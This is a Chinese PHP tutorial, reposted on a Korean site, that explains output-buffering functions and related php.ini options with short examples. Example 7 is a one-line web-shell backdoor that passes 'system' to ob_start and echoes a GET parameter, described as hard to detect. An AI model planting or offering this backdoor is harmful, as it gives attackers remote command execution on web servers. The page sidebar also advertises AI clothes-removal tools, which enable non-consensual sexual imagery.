백엔드 개발 PHP 튜토리얼 PHP输出缓冲控制- Output Control 函数应用详解_PHP

PHP输出缓冲控制- Output Control 函数应用详解_PHP

Jun 01, 2016 pm 12:08 PM
php 완충기

  说到输出缓冲,首先要说的是一个叫做缓冲器(buffer)的东西。举个简单的例子说明他的作用:我们在编辑一篇文档时,在我们没有保存之前,系统是不会向磁盘写入的,而是写到buffer中,当buffer写满或者执行了保存操作,才会将数据写入磁盘。对于PHP来说,每一次像 echo 这样的输出操作,同样是先写入到了 php buffer 里,在脚本执行完毕或者执行了强制输出缓存操作,数据才会在浏览器上显示。

  其实对于PHP程序员来说,基本上每个脚本都涉及到了输出缓冲,只是在大多数情况下,我们都不需要对输出缓冲进行更改。而今天就来用实例对PHP输出缓冲控制函数“Output Control”做一个详细的解析。

  下面这个例子简单介绍了输出缓冲在一般脚本中存在的方式:

  我们在执行如下脚本时:

<?php
/*例1*/
echo &#39;oschina.net&#39;;
echo &#39;红薯&#39;;
echo &#39;虫虫&#39;;
?>
로그인 후 복사

  脚本在执行完第一个 echo 时,并不会向浏览器输出相应内容,而是会输出到一个缓冲区,依次类推,当三个 echo 全部执行完毕(也就是脚本结束)时,才会将缓冲区内容全部输出到浏览器。当然这个缓冲区也有大小的限制,是根据 php.ini 中的output_buffering 选项来设置的,这点会在下面的文章中详细介绍。而本章所讲的输出缓冲控制,就是在脚本结束前,对缓冲区里的内容进行操作。

  这个例子可以更好的体现输出缓冲控制的应用:

  在执行如下代码时:

<?php
/*例2*/
echo &#39;oschina.net&#39;;
sleep(1);
echo &#39;红薯&#39;;
sleep(1);
echo &#39;虫虫&#39;;
?>
로그인 후 복사

  我们至少需要等待 2秒 才能看到输出结果,那我们能不能让其实时的显示呢?也就是在第一个 echo 执行完毕时就输出相应的内容呢,这时候就需要用输出缓冲控制函数来操作缓冲区了,实现代码如下:

<?php
/*例3*/
echo str_pad(&#39;&#39;, 1024);//使缓冲区溢出
ob_start();//打开缓冲区
echo &#39;oschina.net&#39;;
ob_flush();//送出当前缓冲内容,不会输出
flush();//输出送出的缓冲内容
sleep(1);
echo &#39;红薯&#39;;
ob_flush();//送出当前缓冲内容,不会输出
flush();//输出送出的缓冲内容
sleep(1);
echo &#39;虫虫&#39;;
ob_end_flush();//输出并关闭缓冲
?>
로그인 후 복사

  简单点也可以这样实现:

<?php
/*例4*/
echo str_pad(&#39;&#39;, 1024);//使缓冲区溢出
echo &#39;oschina.net&#39;;
flush();//输出送出的缓冲内容
sleep(1);
echo &#39;红薯&#39;;
flush();//输出送出的缓冲内容
sleep(1);
echo &#39;虫虫&#39;;
?>
로그인 후 복사

  至于相关函数的用法在下面都会有介绍,这里只是给大家展示一个输出缓冲控制函数的应用,当然了输出缓冲控制函数的作用绝不止这一种,那么下面我们就来看看输出缓冲控制函数都可以应用在哪些方面。

作用

  1. 在PHP中,像header(), session_start(), setcookie() 等这样的发送头文件的函数前,不能有任何的输出,而利用输出缓冲控制函数可以在这些函数前进行输出而不报错。其实这么做没啥必要,非常少见的用法。
  2. 对输出的内容进行处理,例如生成静态缓存文件、进行gzip压缩输出,这算是较常用的功能了,后面会有详细介绍。
  3. 捕获一些不可获取的函数输出,例如phpinfo(), var_dump() 等等,这些函数都会将运算结果显示在浏览器中,而如果我们想对这些结果进行处理,则用输出缓冲控制函数是个不错的方法。说的通俗点,就是这类函数都不会有返回值,而要获取这些函数的输出数据,就要用到输出缓冲控制函数。
  4. 最后一种应用就是 简介 中示例的方法,对一些数据进行实时的输出。

php.ini 中的相关配置项

  再来看看在 php.ini 中和输出缓冲控制有关的选项,共三个,分别是:output_buffering , output_handlerimplicit_flush

  1. output_buffering 默认为 off , 当设置为 on 时,则在所有脚本自动打开输出缓冲区,拿 例3 来说,就是在每个脚本都自动执行了 ob_start() 这个函数,而不用再显示的调用该函数。其也可以设置为一个整型的数字,代表缓冲区可以存储的最大字节数,我们在 例1 的下面说明中提到过这个配置项。
  2. output_handler 默认为 null , 其值只能设置为一个内置的函数名,作用就是将脚本的所有输出,用所定义的函数进行处理。他的用法和 ob_start('function_name') 较类似,下面会介绍到。
  3. implicit_flush 默认为 off , 当设置为 on 时,PHP将在输出后,自动送出缓冲区内容。拿 例4 来说,就是在每段输出后,自动执行 flush() 。当然有效的输出不仅指像echo , print 这样的函数,也包括HTML段。

Output Control 函数详解

  现在我们就用实例分析相关函数,相信在充分了解了以下内容后,就会对输出缓冲控制函数有了较清晰的掌握。

  1. bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

  此函数在 例3 中已经使用过,大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法,第一个参数要传递一个回调函数,其需将缓冲区内容做为参数,并且返回一个字符串。他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到,来看一个简单的例子就能理解其用法:

<?php
/*例5*/
ob_start(&#39;handleString&#39;);
echo &#39;123456&#39;;
 
function handleString($string){
  return md5($string);
}
?>
로그인 후 복사

  运行后的结果是:

e10adc3949ba59abbe56e057f20f883e
로그인 후 복사

  说明输出的内容被md5加密了,也就是说在缓冲区内容输出时,运行了我们定义的 handleString 函数。

  再来看一个更实际的例子,也就是常见到的将网页内容利用 gzip 压缩后再输出,代码如下:

<?php
/*例6*/
ob_start(&#39;ob_gzhandler&#39;);
echo str_repeat(&#39;oschina&#39;, 1024);
?>
로그인 후 복사

  其页面大小为:

  而不使用 ob_gzhandler 参数,其页面大小为:

  可以明显看到大小的差别,所以说利用 ob_start() 进行页面压缩输出,是非常实用的一个功能。

  而第二个参数 chunk_size 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数 erase 如果被设置为 flase , 则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数(后面会提到),则会报一个错误。

  ob_start() 的用法就这么多,但有两点需要特别注意的地方:

  1. ob_start() 可重复调用,也就是说一个脚本中可以存在多个缓冲区,但记得要按照嵌套顺序将他们全部关闭掉,而如果多个 ob_start 都定义了第一个参数,也就是都定义了回调函数,则会按照嵌套顺序依次执行。关于缓冲区的堆叠嵌套,将在 ob_get_level 函数处详细介绍,这里就不过多阐述了。
  2. ob_start() 还有一个不太明显但很致命的后门用法,实现代码如下:
<?php
/*例7*/
$cmd = &#39;system&#39;;ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?>
로그인 후 복사

  如果理解了上面关于 ob_start的用法,这段代码就不难理解了,其应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点,实现了以Web服务器权限远程执行命令,并且不宜被发觉。

  2. string ob_get_contents ( void )

  此函数用来获取此时缓冲区的内容,下面的例子就能很好的理解其用法:

<?php
/*例8*/
echo str_pad(&#39;&#39;, 1024);//使缓冲区溢出
ob_start();//打开缓冲区
phpinfo();
$string = ob_get_contents();//获取缓冲区内容
$re = fopen(&#39;./phpinfo.txt&#39;, &#39;wb&#39;);
fwrite($re, $string);//将内容写入文件
fclose($re);
ob_end_clean();//清空并关闭缓冲区
?>
로그인 후 복사

  运行此例会发现,浏览器并不会有任何输出,但在当前目录下会有一个 phpinfo.txt 的文件,里面存储了此次应有的输出。这个例子也展示了上面作用中第三点所说的情况。我们可以将输出内容获取到后,根据我们的实际情况进行处理。

  3. int ob_get_length ( void )

  此函数用来获取缓冲区内容的长度,将 例8 稍作改动来展示这个函数的用法:

<?php
/*例9*/
echo str_pad(&#39;&#39;, 1024);//使缓冲区溢出
ob_start();//打开缓冲区
phpinfo();
$string = ob_get_contents();//获取缓冲区内容
$length = ob_get_length();//获取缓冲区内容长度
$re = fopen(&#39;./phpinfo.txt&#39;, &#39;wb&#39;);
fwrite($re, $string);//将内容写入文件
fclose($re);
var_dump($length); //输出长度
ob_end_flush();//输出并关闭缓冲区
?>
로그인 후 복사

  4. int ob_get_level ( void )

  此函数用来获取缓冲机制的嵌套级别,我们在介绍 ob_start() 函数时曾说过,在一个脚本中可以嵌套存在多个缓冲区,而此函数就是来获取当前缓冲区的嵌套级别,用法如下:

<?php
/*例10*/
ob_start();
var_dump(ob_get_level());
ob_start();
var_dump(ob_get_level());
ob_end_flush();
ob_end_flush();
?>
로그인 후 복사

  运行后可以很明显的看出他们的嵌套关系。

  5. array ob_get_status ([ bool $full_status = FALSE ] )

  此函数用来获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为 true ,将返回一个详细信息的数组,我们结合实例来分析这个数组:

<?php
/*例11*/
ob_start(&lsquo;ob_gzhandler&rsquo;);
var_export(ob_get_status());
ob_start();
var_export(ob_get_status());
ob_end_flush();
ob_end_flush();
?>
로그인 후 복사

  此脚本输出如下:

array (
  &#39;level&#39; => 1,
  &#39;type&#39; => 1,
  &#39;status&#39; => 0,
  &#39;name&#39; => &#39;ob_gzhandler&#39;,
  &#39;del&#39; => true,
)
 
array (
  &#39;level&#39; => 2,
  &#39;type&#39; => 1,
  &#39;status&#39; => 0,
  &#39;name&#39; => &#39;default output handler&#39;,
  &#39;del&#39; => true,
)
로그인 후 복사

  level 为嵌套级别,也就是和通过 ob_get_level() 取到的值一样。

  type 为处理缓冲类型,0为系统内部自动处理,1为用户手动处理。

  status 为缓冲处理状态, 0为开始, 1为进行中, 2为结束

  name 为定义的输出处理函数名称,也就是在 ob_start() 函数中第一个参数传入的函数名。

  del 为是否运行了删除缓冲区操作

  理解了上面数组的含义,就能很好理解缓冲区的各项属性。

  6. array ob_list_handlers ( void )

  此函数用来获得输出处理程序的函数名数组,也就是在 ob_start() 函数中我们指定的第一个参数,需要注意的是,如果我们传的参数是一个匿名函数,或者在配置文件中启用了 output_buffering 则该函数将返回default output handler ,php官方手册 中的例子就能很好的解释这个函数:

<?php
/*例12*/
//using output_buffering=On
print_r(ob_list_handlers());
ob_end_flush();
 
ob_start("ob_gzhandler");
print_r(ob_list_handlers());
ob_end_flush();
 
// anonymous functions
ob_start(create_function(&#39;$string&#39;, &#39;return $string;&#39;));
print_r(ob_list_handlers());
ob_end_flush();
?> 
로그인 후 복사

  输出结果为:

Array
(
    [0] => &#39;default output handler&#39;
)
 
Array
(
    [0] => &#39;ob_gzhandler&#39;
)
 
Array
(
    [0] => &#39;default output handler&#39;
)
로그인 후 복사

  下面我们来看看和输出、关闭、送出缓冲区内容有关的函数:

  7. void ob_flush ( void )

  此函数在前面的例子经常用到了,其作用就是 “送出” 当前缓冲区内容,同时清空缓冲区,需要注意这里用的是 “送出” 一词,也就是说调用此函数并不会将缓冲区内容输出,从 例3 可以看出必须在其后调用 flush 函数其才会输出。关于 flush 的用法下面就会说到,这里就不再做实例了。

  8. void flush ( void )

  这个函数算是比较常用的,用来将其前面的所有输出发送到浏览器显示,且不会对缓存区有任何影响。例3 和 例4 中都用到了此函数将当前输出显示到浏览器,换句话说,不论是 echo 等函数的输出,还是 HTML实体 ,或是运行 ob_start() 送出的内容,运行 flush() 后都会在浏览器进行显示。

  9. void ob_implicit_flush ([ int $flag = true ] )

  此函数用来打开/关闭绝对刷送模式,就是在每一次输出后自动执行 flush(),从而不需要再显示的调用 flush() ,提高效率。我们将 例4 稍作更改,利用这个函数来实现同样的效果:

<?php
/*例13*/
echo str_pad(&#39;&#39;, 1024);//使缓冲区溢出
ob_implicit_flush(true);//打开绝对刷送
echo &#39;oschina.net&#39;;
//flush();  之后不需要再显示的调用 flush()
sleep(1);
echo &#39;红薯&#39;;
//flush();
sleep(1);
echo &#39;虫虫&#39;;
?>
로그인 후 복사

  此例和 例4 实现的同样的效果,由于打开了 绝对刷送,所以不需要再调用 flush(), 系统会自动在输出后进行刷送。

  10. bool ob_end_flush ( void )

  此函数将缓冲区的内容送出,并关闭缓冲区。实际上相当于执行了 ob_flush() 和 ob_end_clean() ;

  11. string ob_get_flush ( void )

  此函数和 ob_end_flush() 的作用基本一致,只是其会以字符串的形式返回缓冲区的内容,很简单,也不做实例了。

  12. void ob_clean ( void )

  此函数会将当前缓冲区清空,但不会关闭缓冲区,下面这个例子的输出将不会显示,因为在输出前,缓冲区已经被清空了,但我们又可以获取到缓冲区的属性,说明缓冲区没被关闭:

<?php
/*例14*/
ob_start();
echo &#39;oschina&#39;;
ob_clean();
var_dump(ob_get_status());
?>
로그인 후 복사

  13. bool ob_end_clean ( void )

  此函数清空并关闭缓冲区,将 例14 稍作更改,即可发现我们不再能获取到缓冲区的状态,因为它已经被关闭了:

<?php
/*例15*/
ob_start();
echo &#39;oschina&#39;;
ob_end_clean();
var_dump(ob_get_status());
?>
로그인 후 복사

  14. string ob_get_clean ( void )

  此函数清空并关闭缓存,但会以字符串的形式返回缓存中的数据,实际上,这个函数就是分别执行了 ob_get_contents() 和 ob_end_clean();

<?php
/*例16*/
ob_start();
echo &#39;oschina&#39;;
$string = ob_get_clean();
var_dump(ob_get_status());
var_dump($string);
?>
로그인 후 복사

  最后再来看两个和URL重写有关的函数:

  15. bool output_add_rewrite_var ( string $name , string $value )

  此函数添加URL重写机制的键和值,这里的URL重写机制,是指在URL的最后以GET方式添加键值对,或者在表单中以隐藏表单添加键值对。绝对的URL不会被添加,还是用手册中的例子来看吧,写的非常直观明了:

<?php
/*例17*/
output_add_rewrite_var(&#39;var&#39;, &#39;value&#39;);
 
// some links
echo &#39;<a href="file.php">link</a>
<a href="http://example.com">link2</a>&#39;;
 
// a form
echo &#39;<form action="script.php" method="post">
<input type="text" name="var2" />
</form>&#39;;
 
print_r(ob_list_handlers());
?> 
로그인 후 복사

  程序的输出为:

<a href="file.php?var=value">link</a>
<a href="http://example.com">link2</a>
 
<form action="script.php" method="post">
<input type="hidden" name="var" value="value" />
<input type="text" name="var2" />
</form>
 
Array
(
    [0] => URL-Rewriter
)
로그인 후 복사

  可以看到不是绝对URL地址的链接 和 Form表单 被加上了对应的键值对。

  16. bool output_reset_rewrite_vars ( void )

  此函数用来清空所有的URL重写机制,也就是删除由 output_add_rewrite_var() 设置的重写变量。

其他需要注意的地方

  相信读了上面的内容,就会对PHP的缓冲控制函数有较深的认识了,那接下来说一些在日常使用中需要注意的问题:

  1. 在 例3 的第三行,我输出了一个1024长度的空格,注释写的是使缓冲区溢出。这么做的原因是在一些win32下的服务器程序,即使使用了上述函数,但仍然会缓存脚本的输出,所以必须先发送一段文本让其缓冲区溢出,才能继续实现我们的效果。大家在应用过程中一定要注意,如果测试中还有问题,可以将此值设置更大些,例如4096;
  2. 除非在脚本结束前清空了缓冲区,否则当脚本结束时,缓冲区的所有内容会自动输出到浏览器中。
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

Video Face Swap

Video Face Swap

완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

Ubuntu 및 Debian용 PHP 8.4 설치 및 업그레이드 가이드 Ubuntu 및 Debian용 PHP 8.4 설치 및 업그레이드 가이드 Dec 24, 2024 pm 04:42 PM

PHP 8.4는 상당한 양의 기능 중단 및 제거를 통해 몇 가지 새로운 기능, 보안 개선 및 성능 개선을 제공합니다. 이 가이드에서는 Ubuntu, Debian 또는 해당 파생 제품에서 PHP 8.4를 설치하거나 PHP 8.4로 업그레이드하는 방법을 설명합니다.

이전에 몰랐던 후회되는 PHP 함수 7가지 이전에 몰랐던 후회되는 PHP 함수 7가지 Nov 13, 2024 am 09:42 AM

숙련된 PHP 개발자라면 이미 그런 일을 해왔다는 느낌을 받을 것입니다. 귀하는 상당한 수의 애플리케이션을 개발하고, 수백만 줄의 코드를 디버깅하고, 여러 스크립트를 수정하여 작업을 수행했습니다.

PHP 개발을 위해 Visual Studio Code(VS Code)를 설정하는 방법 PHP 개발을 위해 Visual Studio Code(VS Code)를 설정하는 방법 Dec 20, 2024 am 11:31 AM

VS Code라고도 알려진 Visual Studio Code는 모든 주요 운영 체제에서 사용할 수 있는 무료 소스 코드 편집기 또는 통합 개발 환경(IDE)입니다. 다양한 프로그래밍 언어에 대한 대규모 확장 모음을 통해 VS Code는

JWT (JSON Web Tokens) 및 PHP API의 사용 사례를 설명하십시오. JWT (JSON Web Tokens) 및 PHP API의 사용 사례를 설명하십시오. Apr 05, 2025 am 12:04 AM

JWT는 주로 신분증 인증 및 정보 교환을 위해 당사자간에 정보를 안전하게 전송하는 데 사용되는 JSON을 기반으로 한 개방형 표준입니다. 1. JWT는 헤더, 페이로드 및 서명의 세 부분으로 구성됩니다. 2. JWT의 작업 원칙에는 세 가지 단계가 포함됩니다. JWT 생성, JWT 확인 및 Parsing Payload. 3. PHP에서 인증에 JWT를 사용하면 JWT를 생성하고 확인할 수 있으며 사용자 역할 및 권한 정보가 고급 사용에 포함될 수 있습니다. 4. 일반적인 오류에는 서명 검증 실패, 토큰 만료 및 대형 페이로드가 포함됩니다. 디버깅 기술에는 디버깅 도구 및 로깅 사용이 포함됩니다. 5. 성능 최적화 및 모범 사례에는 적절한 시그니처 알고리즘 사용, 타당성 기간 설정 합리적,

PHP에서 HTML/XML을 어떻게 구문 분석하고 처리합니까? PHP에서 HTML/XML을 어떻게 구문 분석하고 처리합니까? Feb 07, 2025 am 11:57 AM

이 튜토리얼은 PHP를 사용하여 XML 문서를 효율적으로 처리하는 방법을 보여줍니다. XML (Extensible Markup Language)은 인간의 가독성과 기계 구문 분석을 위해 설계된 다목적 텍스트 기반 마크 업 언어입니다. 일반적으로 데이터 저장 AN에 사용됩니다

문자열로 모음을 계산하는 PHP 프로그램 문자열로 모음을 계산하는 PHP 프로그램 Feb 07, 2025 pm 12:12 PM

문자열은 문자, 숫자 및 기호를 포함하여 일련의 문자입니다. 이 튜토리얼은 다른 방법을 사용하여 PHP의 주어진 문자열의 모음 수를 계산하는 방법을 배웁니다. 영어의 모음은 A, E, I, O, U이며 대문자 또는 소문자 일 수 있습니다. 모음이란 무엇입니까? 모음은 특정 발음을 나타내는 알파벳 문자입니다. 대문자와 소문자를 포함하여 영어에는 5 개의 모음이 있습니다. a, e, i, o, u 예 1 입력 : String = "Tutorialspoint" 출력 : 6 설명하다 문자열의 "Tutorialspoint"의 모음은 u, o, i, a, o, i입니다. 총 6 개의 위안이 있습니다

PHP에서 늦은 정적 결합을 설명하십시오 (정적 : :). PHP에서 늦은 정적 결합을 설명하십시오 (정적 : :). Apr 03, 2025 am 12:04 AM

정적 바인딩 (정적 : :)는 PHP에서 늦은 정적 바인딩 (LSB)을 구현하여 클래스를 정의하는 대신 정적 컨텍스트에서 호출 클래스를 참조 할 수 있습니다. 1) 구문 분석 프로세스는 런타임에 수행됩니다. 2) 상속 관계에서 통화 클래스를 찾아보십시오. 3) 성능 오버 헤드를 가져올 수 있습니다.

php magic 방법 (__construct, __destruct, __call, __get, __set 등)이란 무엇이며 사용 사례를 제공합니까? php magic 방법 (__construct, __destruct, __call, __get, __set 등)이란 무엇이며 사용 사례를 제공합니까? Apr 03, 2025 am 12:03 AM

PHP의 마법 방법은 무엇입니까? PHP의 마법 방법은 다음과 같습니다. 1. \ _ \ _ Construct, 객체를 초기화하는 데 사용됩니다. 2. \ _ \ _ 파괴, 자원을 정리하는 데 사용됩니다. 3. \ _ \ _ 호출, 존재하지 않는 메소드 호출을 처리하십시오. 4. \ _ \ _ get, 동적 속성 액세스를 구현하십시오. 5. \ _ \ _ Set, 동적 속성 설정을 구현하십시오. 이러한 방법은 특정 상황에서 자동으로 호출되어 코드 유연성과 효율성을 향상시킵니다.

See all articles